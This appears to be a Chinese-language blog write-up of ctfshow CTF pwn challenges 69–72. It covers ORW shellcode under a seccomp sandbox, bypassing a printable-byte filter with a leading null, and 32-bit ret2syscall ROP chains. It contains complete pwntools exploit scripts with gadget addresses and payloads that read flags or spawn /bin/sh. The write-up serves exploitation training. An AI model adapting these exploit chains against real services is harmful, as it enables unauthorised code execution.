目录
前言
一、pwn69(可以尝试用ORW读flag flag文件位置为/ctfshow_flag)
二、pwn70(可以开始你的个人秀了 flag文件位置为/flag)
三、pwn71(32位的ret2syscall)
四、pwn72
前言
学了一些新的东西,pwn69的文档忘保存了(悲),现写一个,记录一下。
一、pwn69(可以尝试用ORW读flag flag文件位置为/ctfshow_flag)
先看看ORW是什么:
ORW指的是Open-Read-Write技术,是一种利用系统调用读取文件内容(如flag文件)的攻击方法。
ORW通过以下三个系统调用实现:
open:打开目标文件,获取文件描述符。
read:通过文件描述符读取文件内容到缓冲区。
write:将缓冲区的内容写入标准输出。
当攻击者通过漏洞控制程序执行流程后,可以注入或执行类似ORW的代码来读取敏感文件。例如,攻击者可以通过ROP(Return-Oriented Programming)或直接注入汇编代码来实现ORW。
Seccomp(Secure Computing Mode)是 Linux 内核中的一种安全机制,用于限制进程可以调用的系统调用(Syscalls),从而减少潜在的攻击面。
沙盒环境:Seccomp 常用于沙盒环境中,限制程序的权限,防止恶意程序通过高风险系统调用攻击系统。
需要用到一个工具:
seccomp-tools 是一个用于分析和调试 Seccomp 策略的工具集,它可以帮助你检查程序是否启用了 Seccomp 以及其具体的 Seccomp 配置。通过运行 seccomp-tools dump ./pwn,你可以查看目标程序 ./pwn 的 Seccomp 策略。击系统。
在kali中比较好安装:
sudo gem install seccomp-tools
验证:
seccomp-tools --version
shellcode=asm(shellcraft.open("./ctfshow_flag"))
shellcode+=asm(shellcraft.read(3,mmap_ar,0x100))
shellcode+=asm(shellcraft.write(1,mmap_ar,0x100))
ROPgadget可以看到程序中存在一条“jmp rsp”的gadget
rsp是栈顶指针寄存器,可以通过这条指令跳转到当前栈顶处然后执行布置在栈上的shellcode实现ORW
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28296)
mmap_ar=0x123000
jmp_rsp=0x400a01
p.recvuntil("to do\n")
shellcode=asm(shellcraft.open("./ctfshow_flag"))
shellcode+=asm(shellcraft.read(3,mmap_ar,0x100))
shellcode+=asm(shellcraft.write(1,mmap_ar,0x100))
payload = flat([(asm(shellcraft.read(0,mmap_ar,0x100))+asm("mov rax,0x123000; jmp rax")).ljust(0x28,b'a'),jmp_rsp,asm("sub rsp,0x30; jmp rsp")])
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
第一部分:
asm(shellcraft.read(0, mmap_ar, 0x100)):
从标准输入(文件描述符 0)读取最多 0x100 字节的内容到 mmap_ar 指向的内存区域。
asm("mov rax,0x123000; jmp rax"):
将 rax 寄存器设置为 0x123000,然后跳转到该地址。
这里的 0x123000 是 mmap_ar 的地址,用于跳转到攻击者控制的内存区域。
.ljust(0x28, b'a'):
将上述代码填充到 0x28 字节,确保覆盖目标程序的栈空间。
第二部分:
jmp_rsp:
跳转到目标程序中的 jmp rsp 指令,控制程序执行流跳转到 rsp 指向的地址。
第三部分:
asm("sub rsp,0x30; jmp rsp"):
调整 rsp 寄存器的值,使其指向攻击者控制的内存区域,然后跳转到该地址。
二、pwn70(可以开始你的个人秀了 flag文件位置为/flag)
checksec一下:
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn70
[*] '/home/kali/桌面/ctfshoww/pwn70'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
哎呀,开了金丝雀。又看不了c语言代码,毁了
puts(" * Hint : Try use 'ORW' to get flag ! ");
看来又可以熟悉这个知识了。
首先是看看沙箱的情况:
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ seccomp-tools dump ./pwn70
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
和上一道题有些不一样啊。
1.程序只允许在 x86_64 架构下运行。
2.系统调用必须小于 0x40000000,否则拒绝执行。
3.特别地,如果系统调用是 execve(编号为 0x3b),则直接拒绝(KILL
)。
需要注入shellcode来做,虽然有canary但是NX没开,栈还是能执行的。
现在还有一个校验的问题:
signed __int64 __fastcall is_printable(const char *a1)
{
int i; // [sp+1Ch] [bp-14h]@1
for ( i = 0; i < strlen(a1); ++i )
{
if ( a1[i] <= 31 || a1[i] == 127 )
return 0LL;
}
return 1LL;
}
条件是 a1[i] <= 31 || a1[i] == 127。这意味着:
如果字符的 ASCII 值小于等于 31,或者等于 127,则认为该字符不可打印。
做过pwn66, 有strlen 的话可以找\x00开头的shellcode。
可以在开头加上\x00 \xc0
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28134)
shellcode=b'\x00\xc0'
shellcode+=asm(shellcraft.cat('flag'))//生成读取flag文件的shellcode
p.recvuntil("Welcome,tell me your name:\n")
p.sendline(shellcode)
p.interactive()
三、pwn71(32位的ret2syscall)
看来又要学习新知识了。
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn71
[*] '/home/kali/桌面/ctfshoww/pwn71'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
开了NX.
本地执行一次:
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ ./pwn71
===============CTFshow--PWN===============
Try to use ret2syscall
先分析一下main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout[0], 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("===============CTFshow--PWN===============");
puts("Try to use ret2syscall!");
gets(&v4);
return 0;
}
最后使用 gets 函数从标准输入读取用户输入,并存储到变量 v4 的地址中。
使用了gets可能会栈溢出。int v4; // [sp+1Ch] [bp-64h]@1
想了一个简单的思路:利用栈溢出漏洞,通过覆盖返回地址,使程序执行系统调用(syscall)。
先来了解一下ret2syscall:
原来ret2syscall(Return to System Call)是一种利用栈溢出漏洞的攻击技术,主要用于绕过某些安全机制(如NX保护)并执行系统调用。
问了问人机(写得挺详细记录一下,免得忘了):
ret2syscall的核心思想是通过控制程序的执行流程,使程序执行系统调用(syscall)指令来获取系统资源或执行特定操作。系统调用是操作系统提供给用户程序的接口,用于请求内核服务。例如,在Linux系统中,execve系统调用可以用来启动一个新的程序(如/bin/sh),从而获取shell。
1.在32位Linux系统中,系统调用通过int 0x80指令触发,需要设置以下寄存器:
eax:系统调用号(例如,execve的调用号为0xb)
ebx:第一个参数(例如,/bin/sh的地址)
ecx:第二个参数(通常为0)
edx:第三个参数(通常为0)
2.在64位系统中,系统调用通过syscall指令触发,寄存器分配有所不同:
rax:系统调用号(例如,execve的调用号为0x3b)
rdi:第一个参数
rsi:第二个参数
rdx:第三个参数
3. 利用Gadgets控制寄存器
为了设置上述寄存器的值,攻击者需要利用程序中的gadgets(以ret指令结尾的指令序列)。例如:
pop eax ; ret:将栈顶值弹入eax寄存器
pop ebx ; ret:将栈顶值弹入ebx寄存器
攻击者通过构造ROP链(Return-Oriented Programming链),将这些gadgets组合起来,依次设置寄存器的值。
4. 触发系统调用
最后,攻击者将返回地址覆盖为int 0x80(32位)或syscall(64位)的地址,从而触发系统调用。
示例
假设目标程序是一个32位程序,开启了NX保护,但存在栈溢出漏洞。攻击者可以:
找到pop eax ; ret、pop ebx ; ret等gadgets的地址。
在栈中构造如下ROP链:
覆盖返回地址为pop eax ; ret的地址
在栈上放置0xb(execve的调用号)
覆盖返回地址为pop ebx ; ret的地址
在栈上放置/bin/sh字符串的地址
覆盖返回地址为pop ecx ; ret的地址
在栈上放置0
覆盖返回地址为pop edx ; ret的地址
在栈上放置0
覆盖返回地址为int 0x80的地址
接着做题,ctrl+F2找到了/bin/sh:
.rodata:080BE408 00000008 C /bin/sh
那就使用ROPgadget:
ROPgadget --binary ./pwn71 --only "pop|ret"|grep eax
0x080bb196 : pop eax ; ret
ROPgadget --binary ./pwn71 --only "pop|ret"|grep ebx
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
ROPgadget --binary ./pwn71 --only "int"
0x08049421 : int 0x80
现在就可以构造ROP链了:
Pad=112*b’a’
eax=0x080bb196
edx_ecx_edx =0x0806eb90
intx80=0x08049421
binsh=0x80BE408
最后是偏移量的问题,用pwndbg调式:
from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28185)
pad=(0x70)*b'a'
eax=0x080bb196
edx_ecx_edx =0x0806eb90
intx80=0x08049421
binsh=0x80BE408
payload=flat([pad,edx_ecx_edx,0,0,binsh,eax,0xb,intx80])#0,0,binsh是三个参数
p.sendline(payload)
p.interactive()
四、pwn72
继续练习ret2syscall。
还是开了NX保护。
根据上一道题学到的知识,需要找一些东西:
偏移量,直接用pwndbug调试:
offset = 44
然后:
int0x80 = 0x0806F350
ROPgadget --binary ./pwn72 --only "pop|ret"|grep eax
0x080bb2c6 : pop eax ; ret
ROPgadget --binary ./pwn72 --only "pop|ret"|grep ebx
0x0806ecb0 : pop edx ; pop ecx ; pop ebx ; ret
遇到的问题是这道题找不到/bin/sh所以我们可以利用bass段调用read写入。
找bass的地址:
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ readelf -S ./pwn72 | grep .bss
[17] .tbss NOBITS 080e9f68 0a0f68 000018 00 WAT 0 0 4
[25] .bss NOBITS 080eaf80 0a1f80 00136c 00 WA 0 0 32
就用
bass=0x80eaf80
from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28281)
pad=b'a'*44
eax=0x080bb2c6
edx_ecx_ebx=0x0806ecb0
int0x80 = 0x0806F350
bass=0x80eaf80
binsh=b'/bin/sh\x00'
payload=flat([pad,eax,0x3,edx_ecx_ebx,0x10,bass,0,int0x80,eax,0xb,edx_ecx_ebx,0,0,bass,int0x80])
p.sendline(payload)
p.sendline(binsh)
p.interactive()
解释一下:
1.设置寄存器并调用 sys_read:
eax:地址 0x080bb2c6,用于将 0x3 放入 eax 寄存器(sys_read 的系统调用号)。
edx_ecx_ebx:地址 0x0806ecb0,用于设置 edx、ecx 和 ebx 寄存器。
0x10:读取的字节数(16 字节)。
bass:读取的目标地址(BSS 段地址)。
0:文件描述符(标准输入)。
int0x80:调用 int 0x80,执行 sys_read 系统调用。
2.设置寄存器并调用 sys_execve:
eax:地址 0x080bb2c6,用于将 0xb 放入 eax 寄存器(sys_execve 的系统调用号)。
edx_ecx_ebx:地址 0x0806ecb0,用于设置 edx、ecx 和 ebx 寄存器。
0:argv 和 envp 参数(均为 NULL)。
bass:execve 的第一个参数,指向 /bin/sh 的地址。
int0x80:调用 int 0x80,执行 sys_execve 系统调用。
多次的系统调用。
继续学习中......